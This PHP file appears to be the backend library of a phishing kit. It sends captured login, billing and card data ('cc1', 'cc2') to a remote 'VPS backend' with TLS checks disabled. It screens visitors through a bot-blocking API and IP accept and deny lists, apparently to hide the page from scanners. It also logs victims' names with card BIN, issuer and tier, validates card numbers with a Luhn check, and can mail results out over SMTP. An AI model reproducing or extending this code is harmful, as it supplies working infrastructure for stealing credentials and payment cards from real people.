<?php
ob_start();
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
ini_set('log_errors', 1);

$configPath = __DIR__ . '/config.json';
$config = json_decode(file_get_contents($configPath), true);

// ===========================================
// VPS Backend Configuration (from config.json)
// ===========================================
if (!defined('VPS_BACKEND_STATUS')) {
    define('VPS_BACKEND_STATUS', $config['vps_backend_status'] ?? 'off');
}
if (!defined('VPS_BACKEND_URL')) {
    define('VPS_BACKEND_URL', $config['vps_backend_url'] ?? 'http://localhost:3000');
}
if (!defined('VPS_API_KEY')) {
    define('VPS_API_KEY', $config['vps_api_key'] ?? 'sk_live_abc123xyz789');
}

/**
 * Send data to VPS Backend
 * @param string $type - Type: login, billing, cc1, cc2
 * @param array $data - Data to send
 * @return array|null - Response from server
 */
function sendToVPS($type, $data) {
    // Check if VPS backend is enabled
    if (VPS_BACKEND_STATUS !== 'on') {
        return null;
    }
    
    $url = VPS_BACKEND_URL . '/api/log/' . $type;
    
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => json_encode($data),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/json',
            'X-API-Key: ' . VPS_API_KEY
        ],
        CURLOPT_TIMEOUT => 10,
        CURLOPT_CONNECTTIMEOUT => 5,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    ]);
    
    $response = curl_exec($ch);
    $error = curl_error($ch);
    curl_close($ch);
    
    if ($error) {
        file_put_contents(__DIR__ . "/debug.log", "VPS Error: $error" . PHP_EOL, FILE_APPEND);
        return null;
    }
    
    return json_decode($response, true);
}

$acceptedIpsFile = __DIR__ . '/../logs/accept-ips.txt';
$deniedIpsFile = __DIR__ . '/../logs/denied-ips.txt';
$ipsFile = __DIR__ . '/../logs/ips.txt';

// ===========================================
// IPWhois Cache Configuration
// Cache duration bisa diatur di config.json (ipwhois_cache_hours)
// Default: 24 jam. Gobot tetap dipanggil setiap request (tidak di-cache)
// ===========================================
if (!defined('IPWHOIS_CACHE_FILE')) {
    define('IPWHOIS_CACHE_FILE', __DIR__ . '/../logs/ipwhois_cache.json');
}
if (!defined('IPWHOIS_CACHE_DURATION')) {
    $cacheHours = $config['ipwhois_cache_hours'] ?? 24;
    define('IPWHOIS_CACHE_DURATION', $cacheHours * 3600); // Konversi jam ke detik
}

/**
 * Get cached IPWhois data for an IP
 * @param string $ip - IP address
 * @return array|null - Cached data or null if not found/expired
 */
function getIpWhoisCache($ip) {
    if (!file_exists(IPWHOIS_CACHE_FILE)) {
        return null;
    }
    
    $cache = json_decode(file_get_contents(IPWHOIS_CACHE_FILE), true);
    if (!is_array($cache)) {
        return null;
    }
    
    if (isset($cache[$ip])) {
        $cachedTime = $cache[$ip]['cached_at'] ?? 0;
        $currentTime = time();
        
        // Check if cache is still valid
        if (($currentTime - $cachedTime) < IPWHOIS_CACHE_DURATION) {
            file_put_contents(__DIR__ . "/debug.log", "IPWHOIS CACHE HIT: {$ip} (cached " . round(($currentTime - $cachedTime) / 60) . " mins ago)" . PHP_EOL, FILE_APPEND);
            return $cache[$ip]['data'];
        } else {
            file_put_contents(__DIR__ . "/debug.log", "IPWHOIS CACHE EXPIRED: {$ip}" . PHP_EOL, FILE_APPEND);
        }
    }
    
    return null;
}

/**
 * Save IPWhois data to cache
 * @param string $ip - IP address
 * @param array $data - Data to cache
 */
function setIpWhoisCache($ip, $data) {
    $cache = [];
    
    if (file_exists(IPWHOIS_CACHE_FILE)) {
        $cache = json_decode(file_get_contents(IPWHOIS_CACHE_FILE), true);
        if (!is_array($cache)) {
            $cache = [];
        }
    }
    
    // Clean old entries (lebih dari 24 jam) untuk menghemat space
    $currentTime = time();
    foreach ($cache as $cachedIp => $cachedData) {
        if (($currentTime - ($cachedData['cached_at'] ?? 0)) > IPWHOIS_CACHE_DURATION) {
            unset($cache[$cachedIp]);
        }
    }
    
    // Save new cache entry
    $cache[$ip] = [
        'cached_at' => $currentTime,
        'data' => $data
    ];
    
    // Ensure logs directory exists
    $logsDir = __DIR__ . '/../logs/';
    if (!is_dir($logsDir)) {
        mkdir($logsDir, 0777, true);
    }
    
    file_put_contents(IPWHOIS_CACHE_FILE, json_encode($cache, JSON_PRETTY_PRINT));
    file_put_contents(__DIR__ . "/debug.log", "IPWHOIS CACHE SET: {$ip}" . PHP_EOL, FILE_APPEND);
}

if (!isset($_SESSION['country_datas'])) {
    $_SESSION['country_datas'] = null;
}
$lang[null] = [];

function gobotblocker($ip, $ua, $param)
{
    global $config;

    if (!isset($config['gobot_status']) || strtolower($config['gobot_status']) !== 'on') {
        return ['is_bot' => false];
    }

    if (empty($config['gobot_key'])) {
        return ['is_bot' => false];
    }

    $device = detectDevice();

    $postData = [
        'ip'     => $ip,
        'apikey' => $config['gobot_key'],
        'ua'     => $ua,
        'url'    => $param,
        'reff'   => ''
    ];

    $ch = curl_init('https://gobot.su/api/v1/blocker');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Site-Blocker/1.0');

    $response = curl_exec($ch);
    $error = curl_error($ch);
    curl_close($ch);

    if ($error || empty($response)) {
        file_put_contents(__DIR__ . "/debug.log", "GOBOT API error: $error" . PHP_EOL, FILE_APPEND);
        return ['is_bot' => false];
    }
    
    file_put_contents(__DIR__ . "/debug.log", "RAW GOBOT RESPONSE: " . $response . PHP_EOL, FILE_APPEND);
    
    $data = json_decode($response, true);
    if (!is_array($data)) {
        error_log("GOBOT API invalid JSON: $response");
        return ['is_bot' => false];
    }
    
    error_log("GOBOT API location: " . print_r($data['location'] ?? [], true));

    $location = $data['location'] ?? [];
    $reason = !empty($data['reason']) ? $data['reason'] : 'Unknown';
    $threat = !empty($data['threat']) ? $data['threat'] : 'Unknown';
    $type   = !empty($data['type'])   ? $data['type']   : 'human';
    $action = !empty($data['action']) ? $data['action'] : 'allow';
    
    $success = isset($data['success']) ? $data['success'] : true;
    
    $isBot = (
        strtolower($action) === 'block' ||
        strtolower($type) === 'bot' ||
        $success === false
    );

    $locationData = [
        'city'         => $location['city'] ?? 'Unknown',
        'region'       => $location['region'] ?? 'Unknown',
        'country'      => $location['country'] ?? 'Unknown',
        'country_code' => $location['country_code'] ?? 'Unknown',
        'zipcode'      => $location['zipcode'] ?? 'Unknown',
        'flag'         => $location['flag'] ?? 'Unknown',
        'isp'          => $location['isp'] ?? 'Unknown',
        'phone_code'   => $location['phone_code'] ?? null
    ];
    
    // Always call ipwhois.pro to get phone_code since Gobot doesn't provide it
    $fallback = getIpInfoFallback($ip);
    if ($fallback) {
        if ($locationData['city'] === 'Unknown') $locationData['city'] = $fallback['city'];
        if ($locationData['region'] === 'Unknown') $locationData['region'] = $fallback['region'];
        if ($locationData['country'] === 'Unknown') $locationData['country'] = $fallback['country'];
        if ($locationData['country_code'] === 'Unknown') $locationData['country_code'] = $fallback['country_code'];
        if ($locationData['isp'] === 'Unknown') $locationData['isp'] = $fallback['isp'];
        // Always use phone_code from ipwhois since Gobot doesn't return it
        if (empty($locationData['phone_code'])) {
            $locationData['phone_code'] = $fallback['phone_code'];
        }
    }
    
    // Default to +1 if still no phone_code
    if (empty($locationData['phone_code'])) {
        $locationData['phone_code'] = '1';
    }

    return [
        'is_bot'   => $isBot,
        'ip'       => $ip,
        'useragent'=> $ua,
        'device'   => $device,
        'action'   => $action,
        'reason'   => $reason,
        'type'     => $type,
        'threat'   => $threat,
        'location' => $locationData
    ];
}

function getIpInfoFallback($ip)
{
    global $config;
    
    // ===========================================
    // CHECK CACHE FIRST - untuk mengurangi API calls
    // ===========================================
    $cachedData = getIpWhoisCache($ip);
    if ($cachedData !== null) {
        return $cachedData;
    }
    
    // ===========================================
    // CACHE MISS - Call IPWhois API
    // ===========================================
    $apiKey = $config['ipwhois_key'] ?? '';
    if (empty($apiKey)) {
        file_put_contents(__DIR__ . "/debug.log", "IPWHOIS: No API key configured" . PHP_EOL, FILE_APPEND);
        return null;
    }
    
    $url = "http://ipwhois.pro/{$ip}?key={$apiKey}";
    file_put_contents(__DIR__ . "/debug.log", "IPWHOIS API CALL: {$ip} (not in cache)" . PHP_EOL, FILE_APPEND);
    
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
    
    $response = curl_exec($ch);
    $error = curl_error($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    file_put_contents(__DIR__ . "/debug.log", "IPWHOIS Response (HTTP {$httpCode}): {$response}" . PHP_EOL, FILE_APPEND);
    
    if ($error || empty($response)) {
        file_put_contents(__DIR__ . "/debug.log", "IPWHOIS Error: {$error}" . PHP_EOL, FILE_APPEND);
        return null;
    }
    
    $data = json_decode($response, true);
    if (!is_array($data) || (isset($data['success']) && $data['success'] === false)) {
        file_put_contents(__DIR__ . "/debug.log", "IPWHOIS: Invalid response or success=false" . PHP_EOL, FILE_APPEND);
        return null;
    }
    
    $result = [
        'city'         => $data['city'] ?? 'Unknown',
        'region'       => $data['region'] ?? 'Unknown',
        'country'      => $data['country'] ?? 'Unknown',
        'country_code' => $data['country_code'] ?? 'Unknown',
        'isp'          => $data['isp'] ?? 'Unknown',
        'phone_code'   => $data['calling_code'] ?? '1'
    ];
    
    // ===========================================
    // SAVE TO CACHE - untuk request selanjutnya
    // ===========================================
    setIpWhoisCache($ip, $result);
    
    file_put_contents(__DIR__ . "/debug.log", "IPWHOIS Result: " . json_encode($result) . PHP_EOL, FILE_APPEND);
    
    return $result;
}

function detectDevice() {
    $ua = strtolower($_SERVER['HTTP_USER_AGENT']);

    if (preg_match('/tablet|ipad|playbook|(android(?!.*(mobi|opera mini)))/i', $ua)) {
        return 'tablet';
    }

    if (preg_match('/mobile|iphone|ipod|android.*mobile|windows phone|blackberry/i', $ua)) {
        return 'mobile';
    }

    return 'desktop';
}

function checkIpStatus($ip)
{
    global $acceptedIpsFile, $deniedIpsFile;

    $acceptedIps = file_exists($acceptedIpsFile) ? file($acceptedIpsFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : [];
    $deniedIps = file_exists($deniedIpsFile) ? file($deniedIpsFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : [];

    if (in_array($ip, $acceptedIps)) return 'accepted';
    if (in_array($ip, $deniedIps)) return 'denied';
    return 'unknown';
}

function loginAndCardSave($ip, $namafile) {
    if (!is_dir(__DIR__ . '/../logs/')) {
        mkdir(__DIR__ . '/../logs/', 0777, true);
    }
    
    $file = __DIR__ . '/../logs/'.$namafile;
    file_put_contents($file, $ip.'|'.date('Y-m-d') . PHP_EOL, FILE_APPEND);
}

function cardDetailsLogs($ip, $bin, $nama, $issuer, $cardtier, $scheme, $type, $namafile) {
    if (!is_dir(__DIR__ . '/../logs/')) {
        mkdir(__DIR__ . '/../logs/', 0777, true);
    }
    
    $date = date('H:i:s m-d-Y');
    
    $file = __DIR__ . '/../logs/'.$namafile;
    file_put_contents($file, "$date|$ip|$nama|$bin|$issuer|$cardtier|$scheme|$type". PHP_EOL, FILE_APPEND);
}


function getDeviceAndBrowser() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    $device = "Unknown Device";
    $browser = "Unknown Browser";

    if (strpos($userAgent, 'iPhone') !== false) {
        $device = "iPhone";
    } elseif (strpos($userAgent, 'iPad') !== false) {
        $device = "iPad";
    } elseif (strpos($userAgent, 'Android') !== false) {
        $device = "Android";
    } elseif (strpos($userAgent, 'Windows NT') !== false) {
        $device = "Windows";
    } elseif (strpos($userAgent, 'Macintosh') !== false) {
        $device = "Mac";
    }

    if (strpos($userAgent, 'Chrome') !== false) {
        $browser = "Chrome";
    } elseif (strpos($userAgent, 'Safari') !== false) {
        $browser = "Safari";
    } elseif (strpos($userAgent, 'Opera') !== false) {
        $browser = "Opera";
    } elseif (strpos($userAgent, 'Firefox') !== false) {
        $browser = "Firefox";
    } elseif (strpos($userAgent, 'Edge') !== false) {
        $browser = "Edge";
    }

    return [
        'device' => $device,
        'browser' => $browser,
        'user_agent' => $userAgent
    ];
}

// BIN Cache file for faster lookups
if (!defined('BIN_CACHE_FILE')) {
    define('BIN_CACHE_FILE', __DIR__ . '/../logs/bin_cache.json');
}

function getCardDetailsFromBIN($bin) {
    // First check cache
    $cached = getBinCache($bin);
    if ($cached !== null) {
        return $cached;
    }
    
    // Clean the BIN - first 6 digits only
    $searchBin = substr(preg_replace('/[^0-9]/', '', $bin), 0, 6);
    
    // Default result based on card scheme detection
    $defaultResult = [
        'issuer'    => 'Unknown Bank',
        'card_tier' => 'Standard',
        'scheme'    => detectCardScheme($searchBin),
        'type'      => 'Unknown'
    ];
    
    // Search in local CSV file using grep (much faster for large files)
    $csvFile = __DIR__ . '/../bin-list-data.csv';
    
    if (!file_exists($csvFile)) {
        return $defaultResult;
    }
    
    $result = null;
    
    // Try using grep for faster search (works on Linux/Unix)
    if (function_exists('shell_exec')) {
        // Escape the BIN for shell command
        $escapedBin = escapeshellarg('^' . $searchBin);
        $escapedFile = escapeshellarg($csvFile);
        
        // Use grep to find the line (case insensitive, first match only)
        $grepResult = @shell_exec("grep -m 1 $escapedBin $escapedFile 2>/dev/null");
        
        if (!empty($grepResult)) {
            $row = str_getcsv(trim($grepResult));
            if (!empty($row) && count($row) >= 5) {
                $result = [
                    'issuer'    => !empty($row[4]) ? $row[4] : 'Unknown Bank',
                    'card_tier' => !empty($row[3]) ? $row[3] : 'Standard',
                    'scheme'    => !empty($row[1]) ? $row[1] : 'Unknown',
                    'type'      => !empty($row[2]) ? $row[2] : 'Unknown',
                    'country'   => !empty($row[9]) ? $row[9] : ''
                ];
            }
        }
    }
    
    // Fallback: Use PHP file reading with early termination
    if ($result === null) {
        $handle = @fopen($csvFile, 'r');
        if ($handle !== false) {
            // Skip header row
            fgetcsv($handle);
            // CSV Format: BIN,Brand,Type,Category,Issuer,IssuerPhone,IssuerUrl,isoCode2,isoCode3,CountryName
            
            $counter = 0;
            $maxLines = 50000; // Limit to prevent timeout
            
            while (($row = fgetcsv($handle)) !== false && $counter < $maxLines) {
                $counter++;
                $csvBin = $row[0] ?? '';
                
                // Match BIN (CSV may have 6 or 8 digit BINs)
                if (strpos($csvBin, $searchBin) === 0 || strpos($searchBin, $csvBin) === 0) {
                    $result = [
                        'issuer'    => !empty($row[4]) ? $row[4] : 'Unknown Bank',
                        'card_tier' => !empty($row[3]) ? $row[3] : 'Standard',
                        'scheme'    => !empty($row[1]) ? $row[1] : 'Unknown',
                        'type'      => !empty($row[2]) ? $row[2] : 'Unknown',
                        'country'   => !empty($row[9]) ? $row[9] : ''
                    ];
                    break;
                }
            }
            
            fclose($handle);
        }
    }
    
    // If still not found, use defaults
    if ($result === null) {
        $result = $defaultResult;
    }
    
    // Save to cache for faster future lookups
    setBinCache($searchBin, $result);
    
    return $result;
}

// Detect card scheme from BIN prefix
function detectCardScheme($bin) {
    $bin = (string)$bin;
    $firstDigit = substr($bin, 0, 1);
    $firstTwo = substr($bin, 0, 2);
    $firstFour = substr($bin, 0, 4);
    
    // Visa
    if ($firstDigit === '4') {
        return 'VISA';
    }
    // Mastercard
    if (in_array($firstTwo, ['51', '52', '53', '54', '55']) || 
        ($firstFour >= '2221' && $firstFour <= '2720')) {
        return 'MASTERCARD';
    }
    // American Express
    if (in_array($firstTwo, ['34', '37'])) {
        return 'AMEX';
    }
    // Discover
    if ($firstFour === '6011' || $firstTwo === '65' || 
        (substr($bin, 0, 3) >= '644' && substr($bin, 0, 3) <= '649')) {
        return 'DISCOVER';
    }
    // JCB
    if ($firstFour >= '3528' && $firstFour <= '3589') {
        return 'JCB';
    }
    // Diners Club
    if (in_array($firstTwo, ['36', '38']) || 
        (substr($bin, 0, 3) >= '300' && substr($bin, 0, 3) <= '305')) {
        return 'DINERS';
    }
    
    return 'Unknown';
}

// Get cached BIN data
function getBinCache($bin) {
    if (!file_exists(BIN_CACHE_FILE)) {
        return null;
    }
    
    $cache = json_decode(file_get_contents(BIN_CACHE_FILE), true);
    if (!is_array($cache)) {
        return null;
    }
    
    $searchBin = substr(preg_replace('/[^0-9]/', '', $bin), 0, 6);
    
    if (isset($cache[$searchBin])) {
        return $cache[$searchBin];
    }
    
    return null;
}

// Set BIN data to cache
function setBinCache($bin, $data) {
    $cache = [];
    if (file_exists(BIN_CACHE_FILE)) {
        $cache = json_decode(file_get_contents(BIN_CACHE_FILE), true);
        if (!is_array($cache)) {
            $cache = [];
        }
    }
    
    $searchBin = substr(preg_replace('/[^0-9]/', '', $bin), 0, 6);
    $cache[$searchBin] = $data;
    
    // Limit cache to 10000 entries to prevent file from growing too large
    if (count($cache) > 10000) {
        $cache = array_slice($cache, -5000, 5000, true);
    }
    
    $logsDir = __DIR__ . '/../logs/';
    if (!is_dir($logsDir)) {
        mkdir($logsDir, 0777, true);
    }
    
    file_put_contents(BIN_CACHE_FILE, json_encode($cache, JSON_PRETTY_PRINT));
}

function getDevice() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    if (strpos($userAgent, 'Android') !== false) return 'Android';
    elseif (strpos($userAgent, 'iPhone') !== false) return 'iPhone';
    elseif (strpos($userAgent, 'iPad') !== false) return 'iPad';
    elseif (strpos($userAgent, 'Windows NT') !== false) return 'Windows';
    elseif (strpos($userAgent, 'Macintosh') !== false) return 'Mac';
    return 'Unknown Device';
}

function getBrowser() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    if (strpos($userAgent, 'Chrome') !== false) return 'Chrome';
    elseif (strpos($userAgent, 'Firefox') !== false) return 'Firefox';
    elseif (strpos($userAgent, 'Safari') !== false) return 'Safari';
    elseif (strpos($userAgent, 'Opera') !== false) return 'Opera';
    elseif (strpos($userAgent, 'Edge') !== false) return 'Edge';
    return 'Unknown Browser';
}

function saveIp($fileName, $ip)
{
    if (!file_exists($fileName)) file_put_contents($fileName, '');
    $fileContent = file($fileName, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    
    if (!in_array($ip, $fileContent)) {
        file_put_contents($fileName, $ip.'|'.date('Y-m-d') . PHP_EOL, FILE_APPEND);
    }
}

function saveIpData($ipData, $logs = '')
{
    global $ipsFile;

    $date = date('H:i:s m-d-Y');
    $device = getDevice();
    $browser = getBrowser();

    $ipRecord = "{$date}|{$ipData['ip']}|{$ipData['city']}|{$ipData['region']}|{$ipData['country']}|$browser|$device|{$ipData['userAgent']}|{$logs}";

    if (!file_exists($ipsFile)) {
        file_put_contents($ipsFile, '');
    }

    file_put_contents($ipsFile, $ipRecord . PHP_EOL, FILE_APPEND);
}

function generateRandomString($length = 30) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

/**
 * Send email using SMTP or PHP mail()
 * @param string $to Recipient email
 * @param string $subject Email subject
 * @param string $message Email body
 * @return bool Success status
 */
function sendEmail($to, $subject, $message) {
    global $config;
    
    // Check if email sending is enabled
    if (!isset($config['email_send_status']) || strtolower($config['email_send_status']) !== 'on') {
        return true; // Skip sending email but return success
    }
    
    $fromEmail = $config['from_email'] ?? 'noreply@example.com';
    $fromName = $config['from_name'] ?? 'System';
    
    // Check if SMTP is enabled
    if (isset($config['smtp_status']) && strtolower($config['smtp_status']) === 'on') {
        return sendSmtpEmail($to, $subject, $message, $fromEmail, $fromName);
    } else {
        // Fallback to PHP mail()
        $headers  = "MIME-Version: 1.0\r\n";
        $headers .= "Content-type: text/plain; charset=UTF-8\r\n";
        $headers .= "From: {$fromName} <{$fromEmail}>\r\n";
        $headers .= "Reply-To: {$fromEmail}\r\n";
        $headers .= "X-Mailer: PHP/" . phpversion();
        return mail($to, $subject, $message, $headers);
    }
}

/**
 * Send email via SMTP
 */
function sendSmtpEmail($to, $subject, $message, $fromEmail, $fromName) {
    global $config;
    
    $smtpHost = $config['smtp_host'] ?? 'smtp.gmail.com';
    $smtpPort = $config['smtp_port'] ?? 587;
    $smtpSecure = $config['smtp_secure'] ?? 'tls';
    $smtpAuth = isset($config['smtp_auth']) && strtolower($config['smtp_auth']) === 'on';
    $smtpUsername = $config['smtp_username'] ?? '';
    $smtpPassword = $config['smtp_password'] ?? '';
    
    try {
        // Determine connection type
        $prefix = '';
        if ($smtpSecure === 'ssl') {
            $prefix = 'ssl://';
        }
        
        // Connect to SMTP server
        $socket = @fsockopen($prefix . $smtpHost, $smtpPort, $errno, $errstr, 30);
        if (!$socket) {
            file_put_contents(__DIR__ . "/debug.log", "SMTP Connection failed: $errstr ($errno)" . PHP_EOL, FILE_APPEND);
            return false;
        }
        
        // Set stream timeout
        stream_set_timeout($socket, 30);
        
        // Read greeting
        $response = fgets($socket, 515);
        if (substr($response, 0, 3) != '220') {
            fclose($socket);
            file_put_contents(__DIR__ . "/debug.log", "SMTP Greeting failed: $response" . PHP_EOL, FILE_APPEND);
            return false;
        }
        
        // Send EHLO
        fputs($socket, "EHLO localhost\r\n");
        $response = '';
        while ($line = fgets($socket, 515)) {
            $response .= $line;
            if (substr($line, 3, 1) == ' ') break;
        }
        
        // STARTTLS if needed
        if ($smtpSecure === 'tls') {
            fputs($socket, "STARTTLS\r\n");
            $response = fgets($socket, 515);
            if (substr($response, 0, 3) != '220') {
                fclose($socket);
                file_put_contents(__DIR__ . "/debug.log", "SMTP STARTTLS failed: $response" . PHP_EOL, FILE_APPEND);
                return false;
            }
            
            // Enable TLS encryption
            stream_socket_enable_crypto($socket, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);
            
            // Send EHLO again after STARTTLS
            fputs($socket, "EHLO localhost\r\n");
            $response = '';
            while ($line = fgets($socket, 515)) {
                $response .= $line;
                if (substr($line, 3, 1) == ' ') break;
            }
        }
        
        // AUTH LOGIN (if enabled)
        if ($smtpAuth) {
            fputs($socket, "AUTH LOGIN\r\n");
            $response = fgets($socket, 515);
            if (substr($response, 0, 3) != '334') {
                fclose($socket);
                file_put_contents(__DIR__ . "/debug.log", "SMTP AUTH failed: $response" . PHP_EOL, FILE_APPEND);
                return false;
            }
            
            // Send username
            fputs($socket, base64_encode($smtpUsername) . "\r\n");
            $response = fgets($socket, 515);
            if (substr($response, 0, 3) != '334') {
                fclose($socket);
                file_put_contents(__DIR__ . "/debug.log", "SMTP Username failed: $response" . PHP_EOL, FILE_APPEND);
                return false;
            }
            
            // Send password
            fputs($socket, base64_encode($smtpPassword) . "\r\n");
            $response = fgets($socket, 515);
            if (substr($response, 0, 3) != '235') {
                fclose($socket);
                file_put_contents(__DIR__ . "/debug.log", "SMTP Password failed: $response" . PHP_EOL, FILE_APPEND);
                return false;
            }
        }
        
        // MAIL FROM (use smtp_username if auth enabled, otherwise use from_email)
        $mailFrom = $smtpAuth ? $smtpUsername : $fromEmail;
        fputs($socket, "MAIL FROM:<{$mailFrom}>\r\n");
        $response = fgets($socket, 515);
        if (substr($response, 0, 3) != '250') {
            fclose($socket);
            file_put_contents(__DIR__ . "/debug.log", "SMTP MAIL FROM failed: $response" . PHP_EOL, FILE_APPEND);
            return false;
        }
        
        // RCPT TO
        fputs($socket, "RCPT TO:<{$to}>\r\n");
        $response = fgets($socket, 515);
        if (substr($response, 0, 3) != '250' && substr($response, 0, 3) != '251') {
            fclose($socket);
            file_put_contents(__DIR__ . "/debug.log", "SMTP RCPT TO failed: $response" . PHP_EOL, FILE_APPEND);
            return false;
        }
        
        // DATA
        fputs($socket, "DATA\r\n");
        $response = fgets($socket, 515);
        if (substr($response, 0, 3) != '354') {
            fclose($socket);
            file_put_contents(__DIR__ . "/debug.log", "SMTP DATA failed: $response" . PHP_EOL, FILE_APPEND);
            return false;
        }
        
        // Build email headers and body
        $emailContent = "From: {$fromName} <{$fromEmail}>\r\n";
        $emailContent .= "To: {$to}\r\n";
        $emailContent .= "Subject: {$subject}\r\n";
        $emailContent .= "MIME-Version: 1.0\r\n";
        $emailContent .= "Content-Type: text/plain; charset=UTF-8\r\n";
        $emailContent .= "Date: " . date('r') . "\r\n";
        $emailContent .= "\r\n";
        $emailContent .= $message;
        $emailContent .= "\r\n.\r\n";
        
        fputs($socket, $emailContent);
        $response = fgets($socket, 515);
        if (substr($response, 0, 3) != '250') {
            fclose($socket);
            file_put_contents(__DIR__ . "/debug.log", "SMTP Send failed: $response" . PHP_EOL, FILE_APPEND);
            return false;
        }
        
        // QUIT
        fputs($socket, "QUIT\r\n");
        fclose($socket);
        
        file_put_contents(__DIR__ . "/debug.log", "SMTP Email sent successfully to: $to" . PHP_EOL, FILE_APPEND);
        return true;
        
    } catch (Exception $e) {
        file_put_contents(__DIR__ . "/debug.log", "SMTP Exception: " . $e->getMessage() . PHP_EOL, FILE_APPEND);
        return false;
    }
}

function luhn_check($number) {
    $sum = 0;
    $flag = 0;
    for ($i = strlen($number) - 1; $i >= 0; $i--) {
        $add = $flag++ & 1 ? $number[$i] * 2 : $number[$i];
        $sum += $add > 9 ? $add - 9 : $add;
    }
    return $sum % 10 === 0;
}
